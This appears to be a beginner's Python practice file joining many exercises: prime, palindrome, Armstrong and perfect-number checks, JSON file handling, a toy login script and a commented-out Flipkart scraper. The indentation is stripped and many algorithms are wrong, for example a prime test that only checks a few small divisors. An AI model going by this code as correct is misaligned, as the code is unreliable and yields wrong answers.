print()
x = int(input("type an number: "))
if x==1:
print("it is co-prime")
else:
if x==2 or x==3 or x==5 or x==7 or x==13:
print("it is prime")
else:
if x%2==0 or x%3==0 or x%5==0 or x%7==0 or x%13==0:
print("it is not prime")
else:
print("it is prime ")
# x=int(input("type an year: "))
# if x%4==0 and x%400==0 or x%100!=0:
# print("it is leapyear")
# else:
# print("it is not leapyear")
y="<KEY>"
x=input("type your name: ")
for a in y:
z.append(a)
for j in x:
if j in z:
z.remove(j)
print(z)
# x=(input('type an number: '))
# y=x[::-1]
# print(int(y))
# x=int(input("type an number: "))
# y=x
# while x>0:
x=int(input("type an number: "))
n=x
y=0
while x>0:
z=x%10
y=y*10+z
x=x//10
if(n==y):
print("it is palandrom")
else:
print("it is not palandrom")
# x = int(input("type an number: "))
# y = int(input("type an number: "))
# z = int(input("type an number: "))
# if x==y==z:
# print("type unequal number")
# if x>=y>=z:
# print(y)
# else:
# if z==y<x:
# if y>=x>=z:
# print(x)
# else:
# if y>=z>=x:
# print(z)
# else:
# if z>=y>=x:
# print(y)
# else:
# if z>=x>=y:
# print(x)
# else:
# if x==y<z:
# print(z)
# else:
# print(x)
# else:
# if z==x<y:
# print(y)
# else:
# print(z)
x=int(input("type an number: "))
y=int(input("type an number: "))
z=int(input("type an number: "))
if x+y>z:
if x+z>y:
if z+y>x:
print("its make a triangle")
else:
print("its neaver make triangle")
else:
print("its neaver make triangle")
else:
print("its naver make triangle")
# x=int(input("type an angle: "))
# y=int(input("type an angle: "))
# z=int(input("type an angle: "))
# if x==0 or y==0 or z==0:
# print("these angle neaver make triangle")
# else:
# if x+y+z==180:
# if x==y==z:
# print("it is equlateral triangle")
# else:
# if x==y or y==z or x==z:
# print("it is isoselas triangle")
# else:
# if x==90 or y==90 or z==90:
# print("it is right angle triangle")
# else:
# if x!=y!=z:
# print("it is scaler triangle")
# else:
# print("the sum of angle is not 180")
# x=int(input("type the numbers of the years: "))
# b=0.24*x/100
# if x%400!=0 and x%24!=0:
# while x!=(x%4==0):
# x+=1
# if x%400==0 or x%4==0:
# if x%100!=0:
# print(x)
# print(x+4)
# print(x+8)
# break
# else:
# print(x+4)
# print(x+8)
# print(x+12)
import time
v1 = time.time()
x=int(input("type an number: "))
y=1
c = 1
while x>=1:
y+=1
if y==2 or y==3 or y==5 or y==7 or y==11 or y==13:
print(c," - ",y)
c+=1
x-=1
else:
if y%2!=0 and y%3!=0 and y%5!=0 and y%7!=0 and y%11!=0 and y%13!=0:
print(c," - ",y)
x-=1
c+=1
# v2 = time.time()
# print("sec- ",v2-v1)
import time
p1=time.time()
x = int(input("type an number: "))
y=1
c=0
while y<=x/2:
if x%y==0:
c=y+c
y+=1
if c!=x:
print("it is not perefect number")
else:
print("it is perefect number")
p2=time.time()
print(p2-p1)
x = int(input("type an number: "))
c=x-1
y=x*c
while c>=2:
c-=1
y=y*c
print(y)
x=int(input("type an number: "))
n=x
c=0
b=0
while x!=0:
y=x%10
x//=10
c+=y
if c!=1:
while c>=2:
c-=1
y=c*y
c=0
b+=y
else:
b=b+1
if b==n:
print("it is strong number")
else:
print("it is not strong number")
x=int(input("type an number: "))
n=x
c=0
while x!=0:
y=x%10
x//=10
v=y**3
c+=v
if c==n:
print("it is armstrong number")
else:
print("it is not armstrong number")
x=int(input("type an number: "))
y=int(input("type an number: "))
z=int(input("type an number: "))
b=int(input("type an number: "))
if x==y and z==b or z==x and y==b or x==b and y==z:
print("these sides are of rectengle sides")
else:
print("these sides are not of rectengle sides")
x="asfrt(1256734)sdfgh"
print(x[6:-6])
x=input("type an number: ")
b=len(x)
y=len(x)/2
if b%2==0:
z=x[0:int(y)]
c=x[int(y):b]
o={}
u={}
for y in z:
if y not in o:
o[y]=1
else:
o[y]+=1
for i in c:
if i not in u:
u[i]=1
else:
u[i]+=1
if o == u:
print("it is leapendrom1")
else:
print("it is not leapendrome2")
else:
z=x[0:int(y)]
c=x[int(y+1):int(b)]
for g in z:
g in z
if g in c:
print("it is leapenderome")
else:
print("it is not leapendrome")
y = int(input("type an number: "))
x=1
v=1
while v<=y:
x+=1
if x==2 or x==3 or x==5 or x==7 or x==13 or x==11:
print(x)
v+=1
else:
if x%2!=0 and x%3!=0 and x%5!=0 and x%7!=0 and x%13!=0 and x%11!=0:
print(x)
v+=1
# import time
# p1=time.time()
# for x in range(1,int(input("type an number: ")),+1):
# y=1
# c=0
# while y<=x:
# y+=1
# if x%y==0:
# c=y+c
# if c==x and x!=1:
# print(x,"is prime number")
# p2=time.time()
# print(p2-p1)import time
# p1=time.time()
# for x in range(1,int(input("type an number: ")),+1):
# y=1
# c=0
# while y<=x:
# y+=1
# if x%y==0:
# c=y+c
# if c==x and x!=1:
# print(x,"is prime number")
# p2=time.time()
# print(p2-p1)
# else:
# print("start:---",x)
# print("it is not ")
# p2=time.time()
# print(p2-p1)
# x=int(input("type an number: "))
# y=0
# c=0
# while y!=x:
# y+=1
# while x%y==0:
# import time
# p1=time.time()
# x = int(input("type an number: "))
# y=1
# c=0
# while y<=x/2:
# if x%y==0:
# c=y+c
# y+=1
# if c!=x:
# print("it is not perefect number")
# else:
# print("it is perefect number")
# p2=time.time()
# print(p2-p1)
# import time
# p1=time.time()
# for x in range(1,int(input("type an number: ")),+1):
# # x=int(input())
# y=1
# c=0
# print("x",x)
# while y<=x:
# y+=1
# if x%y==0:
# c=y+c
# print("y",y)
# print("c",c)
# if c==x and x!=1:
# print("start:--",x)
# print("it is perefect number")
# p2=time.time()
# print(p2-p1)import time
# import time
# p1=time.time()
# for x in range(1,int(input("type an number: ")),+1):
# # x=int(input())
# y=0
# c=0
# while y<=x:
# y+=1
# if x%y==0:
# c=y+c
# if c==x and x!=1:
# print("start:--",x-(x-1))
# print(x,"is perefect number")
# p2=time.time()
# print(p2-p1)
x = "ghjdophdj(ghjdhsjkh)ghdshdj"
# x="ghjdophdghjdhsjjkh(Himachal)ghdshdj"
# y = x.index("(")
# z = x.index(")")
# print(x[y+1:z])
# x="ghjdophdghjdhsjjkh(Himachal)ghdshdj"
# # z=[]
# # for i in x:
# # z.append(i)
# # if i!="(":
# # z.remove(i)
# # for i in z:
# # if i!=")":
# # print(i,end="")
# # print(x)
# for i in range(len(x)):
# if x[i]!="(":
# y = x[i+2:]
# else:
# x[i]=="("
# break
# for j in y:
# if j!=")":
# print(j,end="")
# else:
# j==")"
# break
# print()
# print(new)
# for y in x:
# if "(" in y:
# for z in x:
# x="ghjdophdghjdhsjjkh(Himachal)ghdshdj"
# for i in range(len(x)):
# if x[i]=="(":
# y=i+1
# if x[i]==")":
# z=i
# print(x[y:z])
x=[1,2,3,4]
y=[1,2,3,4]
z=0
while z<=3:
print(x[z]*y[-z-1])
z+=1
x=input("type any thing: ")
z=[]
b=[]
c="!"
for y in x:
l=0
for g in x:
if y==g:
l+=1
print(y,l)
x=input("type your name: ")
b={}
for y in x:
if y not in b:
b[y]=1
else:
b[y]+=1
print(b)
# x = [0,2]
# print(x)
# x[0] = 1
# print(x)
# x[1] = 3
# print(x)
# x=input("type any thing: ")
# print(type (x))
# y=["q","w","e","r","t","y"]
# print(z)
y=[[1,2,3],[1,2,3],[1,2,3]]
h=0
for x in y:
for c in x:
h+=c
print(h)
x = [1,2,[ 1 , 5 , 3 ], [ 2 , 7 , 8 ], [ 4 , 6 , 9 ],5]
h=len(x)
k=0
g=0
while k!=h:
d=x[k]
k+=1
g+=d
print(g)
# x=input("type an number: ")
# b=len(x)
# y=len(x)/2
# if b%2==0:
# z=x[0:int(y)]
# c=x[int(y):b]
# for g in z:
# g in z
# if g in c:
# print("it is leapendrom1")
# else:
# print("it is not leapendrome2")
# else:
# z=x[0:int(y)]
# c=x[int(y+1):int(b)]
# for g in z:
# g in z
# if g in c:
# print("it it s leapenderome")
# else:
# print("it is not leapendrome")
import random
x=["<NAME>","rohit","modi","saabed","rajeshwer","anand","omash","sonu","<NAME>","akhilesh","yusuf","bijander","atul","tarique","akash","bashkar","shubham","rahul","<NAME>","rakesh","ramesh","chandan","<NAME>","thaman","kalil","<NAME>","kartik","prakash","yoogaas","aajeet","sadik","ranjan","praabaker","santos","reeyaz","alok","roshan"]
room1=["sonu","yoogaas","ranjan"]
room6=["saabed","thaman","<NAME>","prakash","ramesh","modi"]
room7=["aajeet","omash","bijander","akhilesh","kalil","siddik"]
room8=["vishal panda","rajeshwer","shubham","<NAME>","kartik,akash"]
room10=["sankara vivak","atul","chandan","yusuf","tarique"]
room11=["deepak patal","rahul","rakesh","bashkar"]
g=[[],[],[],[],[],[],[]]
no=36
bad=["1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19","10","21","22","23","24","25","26","27","28","29","30","31","32","33","34","35","36","37","38","39","40","41","42","43","44","45","46","47","48","49","50","51","52"]
b=0
k=0
n=0
f=0
d=0
o=0
r=0
z=[]
while b!=36:
p=random.randint(0,35)
if p not in z:
if p in room1 and k!=8:
m=random.randint(1,6)
ccc=g[m]
ccc.append(x[p])
print(ccc,"1")
b+=1
k+=1
z.append(p)
continue
elif p in room6 and n!=10:
m=random.randint(0,5)
cc=g[m]
cc.append(x[p])
print(cc,"2")
z.append(p)
n+=1
b+=1
continue
elif p in room7 and f!=8:
m=random.randint(0,5)
oo=g[m]
oo.append(x[p])
print(oo,"3")
z.append(p)
f+=1
b+=1
continue
elif p in room8 and d!=6:
m=random.randint(0,5)
c=g[m]
c.append(x[p])
print(c,"4")
d+=1
z.append(p)
b+=1
continue
elif p in room10 and o!=8:
m=random.randint(0,5)
q=g[m]
q.append(x[p])
print(q,"5")
z.append(p)
o+=1
b+=1
print("yuu")
continue
elif p not in room1 and room6 and room7 and room8 and room10 and r==10:
m=random.randint(0,5)
u=g[m]
u.append(x[p])
print(u,"6")
z.append(p)
r+=1
b+=1
print("ak")
continue
else:
continue
else:
continue
print(b)
'''
# y=int(input("type an number: "))
# c=0
# while y>=1:
# y=y//10
# c+=1
# print(c)
# for i in range(10,1,-1):
# print(i)
# x="abcd"
# y=len(x)
# n=""
# while y!=0:
# y-=1
# z=x[y]
# n+=z
# print(n)
# x=input("type any thing: ")
# z=[]
# c=""
# for i in x:
# if i==" ":
# z.append(c)
# c=""
# else:
# c+=i
# z.append(c)
# print(z)
# def ok(n):
# while n<=100:
# if n%2==0:
# print("even",n)
# n+=1
# else:
# if n%2!=0 and n:
# return n+ok(n)
# n+=1
# print ('odd',ok(1))
# x=[1,2,3,5,1]
# v=0
# m=[]
# while m!=x:
# c=x[v]
# m.append(c)
# v+=1
# print(v)
# x=[12,123,23,24,25,34,36,37,73,4]
# v=0
# n=0
# m=0
# while v!=len(x):
# c=x[v]
# m=x[v+1]
# if n<c:
# print(c)
# if n>m:
# n=m
# print(n)
# v+=1
# print(n)
# import time
# p1=time.time()
# m=0
# x=1
# b=0
# y=int(input("type an number: "))
# print(m)
# print(x)
# while b<y:
# n=x+m
# print(n)
# m=x
# x=n
# b+=1
# p2=time.time()
# p=(p2-p1)
# print(p)
# def ok(n):
# while n<=100:
# if n%2!=0 and n==100:
# return 1
# else:
# print("even",n)
# n+=2
# return (n+ok(n))
# print(n)
# print ('odd',ok(2))
# x=int(input("type an number: "))
# y=int(input("type an number: "))
# b=int(input("type an number: "))
# while b!=0:
# print(x)
# x+=y
# print(y)
# y+=x
# b-=1
# x=1
# b=0
# c=101
# while b!=200:
# if x>=101:
# if x%2!=0:
# x+=1
# m=x-c
# print(m)
# else:
# x+=1
# else:
# if x%2==0:
# print(x)
# x+=1
# else:
# x+=1
# b+=1
# counter = 0
# count = 2
# count_ = 1
# while counter<100 :
# if counter<50 :
# print(count)
# count+=2
# else:
# print(count_)
# count_+=2
# counter+=1
# x =["1.haaamara daas ka praadan mantery kon ha","2.duuneya kaa sabaasa gaahara saamudraa koon sa ha","3.duneya kaa saabaasa uucha praabaatha koon sa ha"]
# c=["1. jaabaahar laal naaharu", "2. narander daamodar daas mode", "3. funsuuk baagdu" ,"4. kamalas ","1. hind maaha saagar" ,"2. praasan maaha saagaar" ,"3. baagaal kee kaade" ,"4. atlantic osion","1. Kaalaas paarabat","2. mount evarest","3. k2","4. araabale"]
# z=0
# v=0
# y=0
# while y<=3:
# while z<=3:
# print(x[z])
# print(c[v])
# z+=1
# v+=1
# y=int(input("chouse your option: "))
# if y==2 or y==4 or y==6:
# print("your anser is wright\nyou win 4 cror rupes")
# print("your next qustion is")
# y+=1
# else:
# print("your anser is wrong")
# print("thankyou")
# x=[1,3,2,4,2,5,4,6,4,6]
# k=[]
# p=0
# n=0
# b=0
# while p!=len(x):
# o=x[p]
# p+=1
# for i in x:
# n+=1
# print(o)
# print(n)
# print(len(x),b)
# if b<=o and n==len(x):
# print("r")
# k.append(b)
# k.append(l)
# print(k)
# n=0
# else:
# if i<o:
# b=i
# else:
# if i==o:
# l=i
# x.remove(i)
# print(k)
# import Time
# y = [64, 34, 25, 12, 22,12, 11, 90]
# n = 0
# while n!=len(y):
# for i in range(0, len(y)-n-1):
# if y[i] > y[i+1] :
# y[i+1],y[i] = y[i],y[i+1]
# n+=1
# print(y)
# import random
# def win():
# print ('You win!')
# def lose():
# print ('You lose!')
# while True:
# player = input('What do you pick? (rock, paper, scissors)')
# # player_choice.strip( )
# random_move = random.randint(0, 2)
# moves = ['rock', 'paper', 'scissors']
# computer = moves[random_move]
# if player == computer:
# print ('Draw!')
# elif player == 'rock' and computer == 'scissors':
# win()
# elif player == 'paper' and computer == 'scissors':
# lose()
# elif player == 'scissors' and computer == 'paper':
# win()
# elif player == 'scissors' and computer == 'rock':
# lose()
# elif player == 'paper' and computer == 'rock':
# win()
# elif player == 'rock' and computer == 'paper' :
# lose()
# again = input('Do you want to play again?: y and for stop n)')
# if again == 'n':
# break
# bb=""
# b=0
# chars = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
# x=int(input("if you want incresable password then type 1 or if you want dreaciable passward then type 2: "))
# if x==1:
# x=input("type your passward: ")
# for y in x:
# for c in chars:
# if b!=25 and b!=24 and c==y:
# b+=2
# bb+=chars[b]
# b=0
# break
# else:
# if b==25 and c==y:
# bb+=chars[1]
# b=0
# break
# if b==24 and c==y:
# bb+=chars[0]
# b=0
# break
# b+=1
# print(bb)
# else:
# if x==2:
# x=input("type your passward: ")
# for y in x:
# for c in chars:
# if c==y and b!=0 and b!=1:
# b-=2
# bb+=chars[b]
# b=0
# break
# else:
# if c==y and b==0:
# bb+=chars[24]
# b=0
# break
# if c==y and b==1:
# bb+=chars[25]
# b=0
# break
# b+=1
# print(bb)
# x=0
# g=0
# while x!=len(a):
# v=a[x]
# x+=1
# g+=v
# print(g)
# def z(y):
# c=0
# if type(y)==list:
# for i in y:
# if type(y)==list:
# z(i)
# else:
# c+=y
# print(c,"r")
# else:
# c+=y
# print(c,"o")
# print(c)
# y=[0,[1,2,3],[3,[4],5],[[5,6]]]
# print(z(y))
# y=int(input("type any number to factorial: "))
# x=y-1
# while x!=0:
# y*=x
# x-=1
# print(y)
# def find_in_list(query, mainlist):
# mainlist_len = len(query)
# range_for_loop = range(mainlist_len)
# index = 0
# for i in range_for_loop:
# element = mainlist[i]
# print(query)
# print(element)
# if element == query:
# index = i
# return i
# print(find_in_list(["a"],["s","d","f","g","h","j"]))
# x = open("r.py")
# y= x.read()
# print (y)
# x.close()
# x = open("r.py","a")
# x.write("Abhishek - Gurgaon")
# x.close()
# x=open("r.py")
# y=x.read()
# print(y)
# x.close()
# m = open("r.py", "w")
# m.write("Abhishek - Gurgaon\n")
# m.write("Ranveer - Delhi")
# m.close()
# x=open("r.py")
# y=x.read()
# print(y)
# x.close()
# batch1_students = ["Shivam", "Rahul", "Kavay", "Dhannu", "Deepanshu", "Nitin", "Manoj", "Shakrudin", "Tara", "Suraj", "Krishna"]
# students_file = open("navgurukul_students.html", "w")
# students_file.write("<html>\n")
# students_file.write("<head>\n")
# students_file.write("<title>NavGurukul Students</title>\n")
# students_file.write("</head>\n")
# students_file.write("<body>\n")
# students_file.write("<ul>")
# for student in batch1_students:
# students_file.write("<li>" + student + "</li>\n")
# students_file.write("</ul>\n")
# students_file.write("</body>\n")
# students_file.write("</html>\n")
# students_file.close()
# if c%2==0:
# print(x,y,x,y)
# x=open("r.py")
# y=x.read()
# print(len(y))
# banks_list = ["Kotak", "HDFC", "RBL", "SBI", "Bank of Baroda"]
# x=open("r.py","w")import json
# y=open("r.text")
# z=y.readlines()
# c={}
# f=""
# for i in z:
# x=i.split(" ")
# h=x[1:]
# for i in h:
# i+=" "
# print(i)
# c[x[0]]=i
# print(c)
# print(c)
# b=open("r.json","a")
# json.dump(c,b,indent=4)
# y.close()
# for y in banks_list:
# x.write(y+"\n")
# x.close()
# f=open("r.txt")
# v=f.readlines()
# x=1
# for i in v:
# if "\n" in i:
# x+=1
# print(x)
# v=input("type your name: ")
# x=input("type your state: ")
# v=[v,x]
# if "delhi" in v[1]:
# with open("index.py","a") as g:
# g.write(v[0]+"\n")
# # g.close()
# elif "shimla" in v[1]:
# c=open("r.py","a")
# c.write(v[0]+"-"+"shimla"+"\n")
# c.close()
# else:
# x=open("ranjan.py","a")
# x.write(v[0]+"\n")
# x.close()
# x=int(input())
# if x%3==0 and x%5==0:
# print("fizz,buzz")
# elif x%3==0 and x%7==0:
# print("fizz,bizz")
# elif x%5==0 and x%7==0:mport time
# p1=time.time()
# m=0
# x=1
# b=0
# y=int(input("type an number: "))
# print(m)
# print(x)
# while b<y:
# n=x+m
# print(n)
# m=x
# x=n
# b+=1
# p2=time.time()
# p=(p2-p1)
# print(p)
# print("buzz,bizz")
# elif x%3==0:
# print("fizz")
# elif x%5==0:
# print("buzz")
# elif x%7==0:
# print("bizz")
#else:
# print("nothing")
# x=int(input())
# y=int(input())
# c=0
# while x!=0:
# x-=y
# c+=1
# print(c)
# x=1
# y=2
# c=4
# while c!=0:
# if c%2==0:
# print(x,y,x,y)
# else:
# print(y,x,y,x)
# c-=1
# x=int(input())
# c=0
# u=0
# # while x!=0:
# y=input()
# if y%2==0:
# c+=1
# else:
# u+=1
# x-=1
# if c>u:
# print("ready for watel")
# else:
# print("not")
# x=int(input())
# y=int(input())
# m=[]
# c=0
# n=0
# b=0
# while c!=x:
# m.append([])
# while n!=y:
# v=input()
# if v >="a" and v<="z" or v>="A" and v<="Z":
# m[b].append(v)
# elif v in "1234567890":
# v=int(v)
# m[b].append(v)
# else:
# v=float(v)
# m[b].append(v)
# n+=1
# n=0
# b+=1
# c+=1
# print(m)
# x=[1,2,3,[1,2,3],[1,1,"6"]]
# y=[]
# for i in x:
# if i in "1234567890":
# v=int(i)
# y.append(v)
# elif type(i)==[]:
# def x(y, j):
# v = len(y)
# b = range(v)
# l = 0
# for i in b:
# k = j[i]
# print(y)
# print(k)
# if k == y:
# l = i
# return i
# print(x(["a"],["s","d","a","g","h","j"]))
# def z(y):
# c=0
# if type(y)==list:
# for i in y:
# if type(y)==list:
# z(i)
# else:
# c+=i
# else:
# print(c)
# y=[0,[1,2,3],[3,[4],5],[[5,6]]]
# print(z(y))
# y=[0,[1,2,3],[3,[4],5],[[5,6]]]
# c=[]
# if type(y)==[]:
# for i in y:
# else:
# c.append()
# import json
# k ={
# "emp1": {
# "name": "Lisa",
# "designation": "programmer",
# "age": "34",
# "salary": "54000"
# },
# "emp2": {
# "name": "Elis",
# "designation": "Trainee",
# "age": "24",
# "salary": "40000"
# },
# }
# x=open("r.json","w")
# json.dump(k,x,indent=21)
# x.close( )
# import json
# x={"fghj":8}
# y=json.dumps(x)
# print(y)
# import json
# x={"Name":"Ram",
# "Class":"IV",
# "Age":9 }
# h=open("if.py","a")
# y=json.dump(x)
# h.write(y)
# h.close()
# import json
# x={
# "name": "David",
# "class":"I",
# "age": 6
# }
# h=open("r.json","a")
# j=json.dump(x,h,indent=4)
# h.close()
# import json
# x={}
# h=open("r.json","a")
# json.dump(x,h,indent=4)
# h.close()
# import json
# x= {
# '4': 5,
# '6': 7,
# '1': 3,
# '2': 4}
# y=open("r.json","a")
# json.dump(x,y,indent=4)
# y.close()
# x={
# "a": 1,
# "a": 2,
# "a": 3,
# "a": 4,
# "b": 1,
# "b": 2
# }
# y={}
# y["a"]=x["a"]
# y["b"]=x["b"]
# print(y)
# import json
# y=open("r.text")
# z=y.readlines()
# c={}
# f=""
# for i in z:
# x=i.split(" ")
# h=x[1:]
# for i in h:
# f=f+i+" "
# c[x[0]]=f
# f=""
# b=open("r.json","a")
# json.dump(c,b,indent=4)
# y.close()
# import json
# x=[["neelam","programer","24","2400"],
# ["komal","trainer","24","20000"],
# ["anuradha","HR","25","4000"],
# ["Abhishek","manager","29","63000"]]
# y=["name","designation","age","salary"]
# z=["emp1","emp2","emp3","emp4"]
# c={}
# g=0
# a={}
# v=0
# for i in x:
# while g!=len(x):
# c[y[g]]=i[g]
# g+=1
# a[z[v]]=c
# v+=1
# g=0
# c={}
# x=open("r.json","a")
# json.dump(a,x,indent=4)
# x.close()
# import json
# x={
# "shopping_list":
# {
# "chaco":"15",
# "Biscuits":"50",
# "Diary_milk":"30",
# "ice_cream":"20",
# }
# }
# y=open("n.json","w")
# json.dump(x,y,indent=2)
# y=open("n.json")
# m=json.load(y)
# l=input("type what you want: ")
# y=int(input("type number of items: "))
# f=int(x["shopping_list"][l])-y
# x["shopping_list"][l]=str(f)
# y=open("n.json","w")
# json.dump(x,y,indent=2)
# import json
# def signup(e,p):
# x=open("n.json")
# y=json.load(x)
# m={}
# m["email"]=e
# m["passward"]=p
# m["todo"]={"0":"aganda"}
# y.append(m)
# a=open("n.json","w")
# json.dump(y,a,indent=4)
# print("signup is sucesfull")
# def login(e,p,):
# x=open("n.json")
# y=json.load(x)
# f=[]
# for i in y:
# for u in i:
# f.append(u)
# for o in f:
# if i[o]==e and i[o]==p:
# print("susfull login")
# q=input("you want to read your ageanda or wright (r or w): ")
# if "r" in q:
# print(i["todo"])
# break
# else:
# print(i["todo"])
# z=input("type your aggeda: ")
# h=i["todo"]
# for c in h:
# c=c
# u=int(c)
# pp=i["todo"]
# pp[str(u+1)]=z
# q=open("n.json","w")
# json.dump(y,q,indent=4)
# break
# else:
# print("your email id is wrong")
# x=input("what you want (login,signup): ")
# if "l" in x:
# x=input("type your email id")
# y=input("type your email id passward")
# login(x,y)
# else:
# x=input("type your email id")
# y=input("type your email id passward")
# signup(x,y)
# y = [1]
# n = 0
# u=len(y)
# while n!=u:
# for i in range(0, len(y)-n-1):
# if y[i] > y[i+1]:
# y[i+1],y[i] = y[i],y[i+1]
# n+=1
# n=0
# d=[]
# print(y)
# for i in y:
# if i in d:
# y.remove(i)
# else:
# d.append(i)
# if len(d)>=2:
# print(d[-2])
# else:
# print("there is no 2")
# Question=1
# a="ranjan"
# b=0
# for i in a:
# b=b+1
# print(b)
# a=int(input('enter : '))
# for i in range(a):
# print("* "*(a))
# print()
# n=int(input("enter a number:"))
# x=0
# y=1
# z=0
# while z<=n:
# x=y
# z=x
# z=x+y
# print(z)
# a="sdfghjsdfgh"
# for i in a:
# print(i)
# for x in range(2, 10):
# if(x==7):
# break
# print(x)
# for x in range(2, 10):
# if(x==7):
# continue
# print(x)
# import time
# import multiprocessing
# import json
# import requests
# from bs4 import BeautifulSoup as b
# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# PATH="/home/navgurukul/Downloads/chromedriver"
# time.sleep(2)
# driver=webdriver.Chrome(PATH)
# driver.get("https://www.flipkart.com/home-entertainment/pr?sid=ckf&otracker=categorytree")
# time.sleep(2)
# link=driver.find_element_by_xpath('//*[@id="container"]/div/div[1]/div[1]/div[2]/div[2]/form/div/div/input')
# link.send_keys("tv")
# link.send_keys(Keys.RETURN)
# time.sleep(2)
# filter=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div[1]/div[1]/div[2]/div/div/section[4]/div[2]/div[1]/div[1]/input')
# filter.send_keys("sony")
# filter.send_keys(Keys.RETURN)
# time.sleep(2)
# click=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div[1]/div[1]/div[2]/div[1]/div/section[4]/div[2]/div[1]/div[2]/div/div/label/div[2]')
# click.click()
# time.sleep(1)
# filter=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div/div[1]/div/div[1]/div/section[4]/div[2]/div[1]/div[2]/input')
# filter.send_keys("LG")
# filter.send_keys(Keys.RETURN)
# xz=driver.find_element_by_xpath('//*[@id="container"]/div/div[3]/div[2]/div/div[1]/div/div[1]/div/section[4]/div[2]/div[1]/div[3]/div/div')
# xz.click()
# fg=driver.current_url
# r=requests.get(str(fg)).text
# rr=b(r,"html.parser")
# tyu=rr.find("div",class_="_3LxdjL _3NzWOH")
# x=tyu.find("div",class_="E2-pcE _3zjXRo")
# p=x.find_all("div",class_="_2pi5LC col-12-12")
# p.pop(-1)
# lkj=p.pop(-1)
# pol=[]
# mnb=lkj.find("nav",class_="yFHi8N")
# mnb=mnb.find_all("a",class_="ge-49M")
# for i in mnb:
# i=i.get("href")
# pol.append(i)
# def cod(url):
# dic={}
# lis=[]
# qu=[]
# r=requests.get("https://www.flipkart.com/"+str(url[0])).text
# rr=b(r,"html.parser")
# print(rr)
# tt=rr.find("div",class_="_3LxdjL _3NzWOH")
# tyur=tt.find("div",class_="_3FqKqJ")
# rrr=tyur.find("div",class_="E2-pcE _3zjXRo")
# p=rrr.find_all("div",class_="_2pi5LC col-12-12")
# p.pop(0)
# p.pop(0)
# for i in p:
# a=i.find("div",class_="_2kHMtA")
# link=a.find("a")["href"]
# aaa=a.find("div",class_="_3pLy-c row")
# d=aaa.find("div",class_="col col-7-12")
# a=d.find("div",class_="_4rR01T").get_text()
# dic["model"]=a
# q=d.find("div",class_="gUuXy-")
# if q==None:
# dic["reating"]="no reating"
# else:
# q=q.find("div",class_="_3LWZlK").get_text()
# dic["reating"]=q
# w=d.find("div",class_="fMghEO")
# w=w.find_all("li",class_="rgWa7D")
# for i in w:
# aa=i.get_text()
# qu.append(aa)
# dic["qualites"]=aa
# z=aaa.find("div",class_="col col-5-12 nlI3QM")
# z=z.find("div",class_="_30jeq3 _1_WHN1").get_text()
# z.replace("\u20b9"," ")
# dic["amount"]=z
# rr=requests.get("https://www.flipkart.com"+str(link)).text
# bs=b(rr,"html.parser")
# xz=bs.find("div",class_="_1YokD2 _3Mn1Gg")
# cv=xz.find("div",class_="K4SXrT funtru")
# if cv==None:
# pou=xz.find("div",class_="_16PBlm")
# iop=pou.find("div",class_="t-ZTKy")
# kjh=iop.find("div").div.get_text()
# dic["diccription"]=kjh
# else:
# vb=cv.find("div",class_="_3qWObK").get_text()
# hj=cv.find("div",class_="_3zQntF").p.get_text()
# dic["discription"]=[vb,hj]
# dic['link']=link
# gh=open("n.json","w")
# lis.append(dic)
# json.dump(lis,gh,indent=4)
# dic={}
# qu=[]
# time.sleep(1)
# yui=[]
# for url in pol:
# t1=multiprocessing.Process(target=cod,args=[url])
# t1.start()
# time.sleep(1)
# yui.append(t1)
# for threds in yui:
# threds.join()
# import json
# o=open("r.json")
# d=json.load(o)
# dic={}
# print(len(d))
# for i in d:
# for ii in i:
# k=i[ii]
# l=k['direacter']
# if l not in dic:
# dic[l]=1
# else:
# s=dic[l]
# s+=1
# dic[l]=s
# oo=open("n.json","w")
# json.dump(dic,oo,indent=4)
# lk=0
# dic={}
# for i in l:
# for ii in i:
# k=i[ii]
# l=k["language"]
# dic[l]=lk+=1
# import time
# p1=time.time()
# s=""
# y=[]
# lo=0
# for i in s:
# l=s[lo:]
# k=i
# for ii in l:
# if ii not in k:
# k+=ii
# else:
# y.append(len(k))
# k=""
# k+=ii
# y.append(len(k))
# lo+=1
# if len(y)!=0:
# print(max(y))
# print(len(y))
# p2=time.time()
# print(p2-p1)
x=int(input())
yy=1
while True:
x=str(x)
y=x[::-1]
y=int(y)
x=int(x)
x+=y
x=str(x)
if x==x[::-1]:
print(int(x))
break
yy+=1
<file_sep># a=int(input("Enter a number"))
# b=int(input("Enter a number"))
# c=int(input("Enter a number"))
# if a>b and a>c:
# print('a')
# elif b<a and b<c:
# print('b')
# else:
# print('c')
# a=int(input("Enter a number"))
# b=int(input("Enter a number"))
# c=int(input("Enter a number"))
# if a>b:
# if b>a:
# print(a)
# elif b<c:
# print(b)
# else:
# print(c)
# a="0"or"1"or"2"or"3"or"4"or"5"or"6"or"7"or"8"
# b="q"or"w"or"e"or"r"or"t"or"y"or"u"or"i"or"o"or"p"or"a"or"s"or"d"or"f"or"g"or"h"or"j"or"k"or"l"or"z"or"x"or"c"or"v"or"b"or"n"
# c="Q"or"W"or"E"or"R"or"T"or"Y"or"U"or"I"or"O"or"P"or"A"or"S"or"D"or"F"or"G"or"H"or"J"or"K"or"L"or"Z"or"X"or"C"or"V"or"B"or"N"
# d="!"or"@"or"#"or"%"or"&"or"+"
# x=input("Enter a passwod ")
# if(len(x)==8):
# if "0"or"1"or"2"or"3"or"4"or"5"or"6"or"7"or"8" in x:
# if "q"or"w"or"e"or"r"or"t"or"y"or"u"or"i"or"o"or"p"or"a"or"s"or"d"or"f"or"g"or"h"or"j"or"k"or"l"or"z"or"x"or"c"or"v"or"b"or"n" in x:
# if "Q"or"W"or"E"or"R"or"T"or"Y"or"U"or"I"or"O"or"P"or"A"or"S"or"D"or"F"or"G"or"H"or"J"or"K"or"L"or"Z"or"X"or"C"or"V"or"B"or"N" in x:
# if "!"or"@"or"#"or"%"or"&" in x:
# print("this is a strong password")
# else:
# print("invaid password")
# x=int(input("Enter a number"))
# if x%2==0:
# print("it is not a prime number")
# else:
# print("it is a prime number ")
# z={}
# q={}
# w={}
# e={}
# r={}
# pp={}
# o={}
# l={}
# a={}
# b=[]
# import random
